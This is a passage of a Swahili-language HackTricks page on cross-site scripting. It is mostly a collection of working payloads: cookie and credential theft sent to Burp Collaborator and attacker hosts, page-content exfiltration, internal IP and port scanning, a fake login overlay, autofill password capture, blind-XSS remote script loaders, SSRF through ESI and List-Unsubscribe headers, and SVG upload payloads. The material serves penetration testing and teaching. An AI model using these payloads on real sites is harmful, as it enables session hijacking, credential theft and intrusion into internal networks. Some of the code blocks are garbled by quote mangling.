<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Hautaweza kufikia cookies kutoka kwa JavaScript ikiwa HTTPOnly flag imewekwa kwenye cookie. Lakini hapa kuna njia kadhaa za kuipita kinga hii ikiwa utakuwa na bahati.

Kunyang’anya Yaliyomo ya Ukurasa

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Pata IP za ndani

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Nyakati fupi zinaonyesha port inayojibu Nyakati ndefu zinaonyesha hakuna jibu.

Kagua orodha ya ports zilizozuiwa katika Chrome here na katika Firefox here.

Sanduku la kuomba credentials

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Kukamata nywila za Auto-fill

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Unapoingiza data yoyote kwenye uwanja wa nywila, jina la mtumiaji na nywila hutumwa kwa server ya mshambuliaji; hata ikiwa mteja atachagua nywila iliyohifadhiwa na hatoandika chochote, sifa za kuingia zitatolewa (ex-filtrated).

Hijack form handlers to exfiltrate credentials (const shadowing)

Iwapo handler muhimu (kwa mfano, function DoLogin(){...}) umetangazwa baadaye kwenye ukurasa, na payload yako inafanya kazi mapema (kwa mfano, via an inline JS-in-JS sink), tengeneza const yenye jina lile hilo kwanza ili kuzuia na kufunga handler. Matangazo ya function yanayofuata hayawezi rebind jina la const, hivyo hook yako itabaki katika udhibiti:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Vidokezo

  • Hii inategemea mpangilio wa utekelezaji: injection yako lazima itekelezwe kabla ya tangazo halali.
  • Kama payload yako imefungwa ndani ya eval(...), const/let bindings won’t become globals. Tumia the dynamic <script> injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” ili kuhakikisha true global, non-rebindable binding.
  • Wakati keyword filters zinazuia code, panga pamoja na Unicode-escaped identifiers au eval(atob('...')) delivery, kama ilivyoonyeshwa hapo juu.

Keylogger

Nilipomtafuta tu kwenye github nilikuta chache tofauti:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Stealing PostMessage messages

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Ikiwa ukurasa unahifadhi event.origin kutoka kwa postMessage na kisha kuichanganya ndani ya script URL, mtumaji anadhibiti origin ya JS iliyopakuliwa:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: huanzishwa tu wakati window.opener ipo na pixel_id iko allowlisted; origin is never checked.
  • Use CSP-allowed origin: pivot to a domain already permitted by the victim CSP (e.g., logged-out help pages allowing analytics like *.THIRD-PARTY.com) and host /sdk/<pixel_id>/iwl.js there via takeover/XSS/upload.
  • Restore opener: in Android WebView, window.name='x'; window.open(target,'x') hufanya ukurasa kuwa opener wake mwenyewe; tuma malicious postMessage kutoka iframe iliyotekwa.
  • Trigger: the iframe posts {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; the parent then loads attacker iwl.js from the CSP-allowed origin and runs it.

This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.

Supply-chain stored XSS via backend JS concatenation

When a backend builds a shared SDK by concatenating JS strings with user-controlled values, any quote/structure breaker can inject script that is served to every consumer:

  • Example pattern (Meta CAPIG): server appends cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); directly into capig-events.js.
  • Injecting ' or "]} closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Unaweza pia kutumia: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Kupata Maudhui yaliyofichwa

Kutoka kwa this writeup inawezekana kujifunza kwamba hata kama baadhi ya values zinaondoka kutoka JS, bado zinaweza kupatikana katika JS attributes kwenye objects tofauti. Kwa mfano, input ya REGEX bado inaweza kupatikana hata baada ya value ya input ya regex kufutwa:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Orodha ya Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Kunyanyasa udhaifu mwingine

XSS katika Markdown

Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! Angalia:

XSS in Markdown

XSS hadi SSRF

Je, una XSS kwenye tovuti inayotumia caching? Jaribu kuiboresha hadi SSRF kupitia Edge Side Include Injection na payload hii:

<esi:include src="http://yoursite.com/capture" />

Tumia ili kupita vikwazo vya cookie, vichujio vya XSS na mengi zaidi!
Maelezo zaidi kuhusu tekniki hii hapa: XSLT.

XSS katika PDF zinazotengenezwa kiotomatiki

Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu kudanganya bot inayounda PDF ili kutekeleza msimbo wa JS wa hiari.\ Kwa hivyo, ikiwa bot ya kuunda PDF inapopata aina fulani ya HTML tags, itazitafsiri, na unaweza kutumia tabia hii kusababisha Server XSS.

Server Side XSS (Dynamic PDF)

Ikiwa hauwezi kuingiza HTML tags inaweza kuwa vyema kujaribu kuingiza data za PDF:

PDF Injection

XSS katika Amp4Email

AMP, inayolenga kuharakisha utendakazi wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha tagi za HTML zilizoambatanishwa na JavaScript ili kuhakikisha utendaji huku ikilenga kasi na usalama. Inasaidia aina mbalimbali za components kwa vipengele tofauti, vinavyopatikana kupitia AMP components.

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Example writeup XSS in Amp4Email in Gmail.

Matumizi mabaya ya List-Unsubscribe Header (Webmail XSS & SSRF)

The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

Stored XSS via javascript: URIs

  1. Tuma barua pepe kwako mwenyewe ambapo header inaboresha kwa javascript: URI huku sehemu nyingine ya ujumbe ikiwa salama ili vichujio vya spam visivite.
  2. Hakikisha UI inaonyesha thamani (wateja wengi wanaonyesha hiyo kwenye dirisha la “List Info”) na angalia ikiwa <a> tag inayotokana inapata attributes zinazodhibitiwa na mshambuliaji kama href au target.
  3. Sababisha utekelezaji (mfano, CTRL+click, middle-click, au “open in new tab”) wakati kiungo kinatumia target="_blank"; browsers zitatathmini JavaScript iliyotolewa katika origin ya application ya webmail.
  4. Angalia primitive ya stored-XSS: payload inadumu na barua pepe na inahitaji tu kubofya ili itekelezwe.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Byte ya newline (%0a) katika URI inaonyesha kwamba hata herufi zisizo za kawaida huishi kupitia mchakato wa rendering katika wateja dhaifu kama Horde IMP H5, ambayo itatoa msururu huo bila mabadiliko ndani ya anchor tag.

Minimal SMTP PoC inayofikisha List-Unsubscribe header yenye madhara ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Proksi za unsubscribe upande wa server -> SSRF

Wateja wengine, kama Nextcloud Mail app, hufanya proxy kwa kitendo cha unsubscribe upande wa server: kubofya kitufe kunaelekeza server ifetch URL iliyotolewa yenyewe. Hii inageuza header kuwa primitive ya SSRF, hasa wakati wasimamizi wameset 'allow_local_remote_servers' => true (imeandikwa katika [HackerOne report 2902856](https://hackerone.com/reports/2902856)), ambayo inaruhusu maombi kuelekea loopback na RFC1918 ranges.

1. **Tengeneza barua pepe** ambapo `List-Unsubscribe` inalenga endpoint inayodhibitiwa na mshambuliaji (kwa blind SSRF tumia Burp Collaborator / OAST).
2. **Weka `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** ili UI ionyeshe kitufe cha unsubscribe kwa kubofya mara moja.
3. **Kidhi mahitaji ya uaminifu**: Nextcloud, kwa mfano, hufanya maombi ya HTTPS unsubscribe tu wakati ujumbe unapitisha DKIM, hivyo mshambuliaji lazima asaini barua pepe akitumia domain wanayodhibiti.
4. **Sambaza ujumbe kwenye sanduku la barua** linalosindikwa na server lengwa na subiri hadi mtumiaji abofye kitufe cha unsubscribe.
5. **Tazama callback upande wa server** kwenye collaborator endpoint, kisha pivot kwa anwani za ndani mara primitive itakapothibitishwa.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Ujumbe wa DKIM-signed List-Unsubscribe kwa ajili ya upimaji wa SSRF ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Vidokezo vya upimaji**

- Tumia endpoint ya OAST kukusanya blind SSRF hits, kisha rekebisha URL ya `List-Unsubscribe` ili kumlenga `http://127.0.0.1:PORT`, metadata services, au host nyingine za ndani mara primitive itakapothibitishwa.
- Kwa sababu msaada wa kuondoa usajili mara nyingi hutumia HTTP stack ile ile kama programu, unaurithi mipangilio yake ya proxy, HTTP verbs, na header rewrites, na hivyo kuruhusu mbinu zaidi za traversal zilizofafanuliwa katika [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS kupakia faili (svg)

Pakia kama picha faili kama ifuatayo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pata SVG payloads zaidi kwenye https://github.com/allanlw/svg-cheatsheet

Mbinu mbalimbali za JS & Taarifa Muhimu

Misc JS Tricks & Relevant Info

Rasilimali za XSS

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks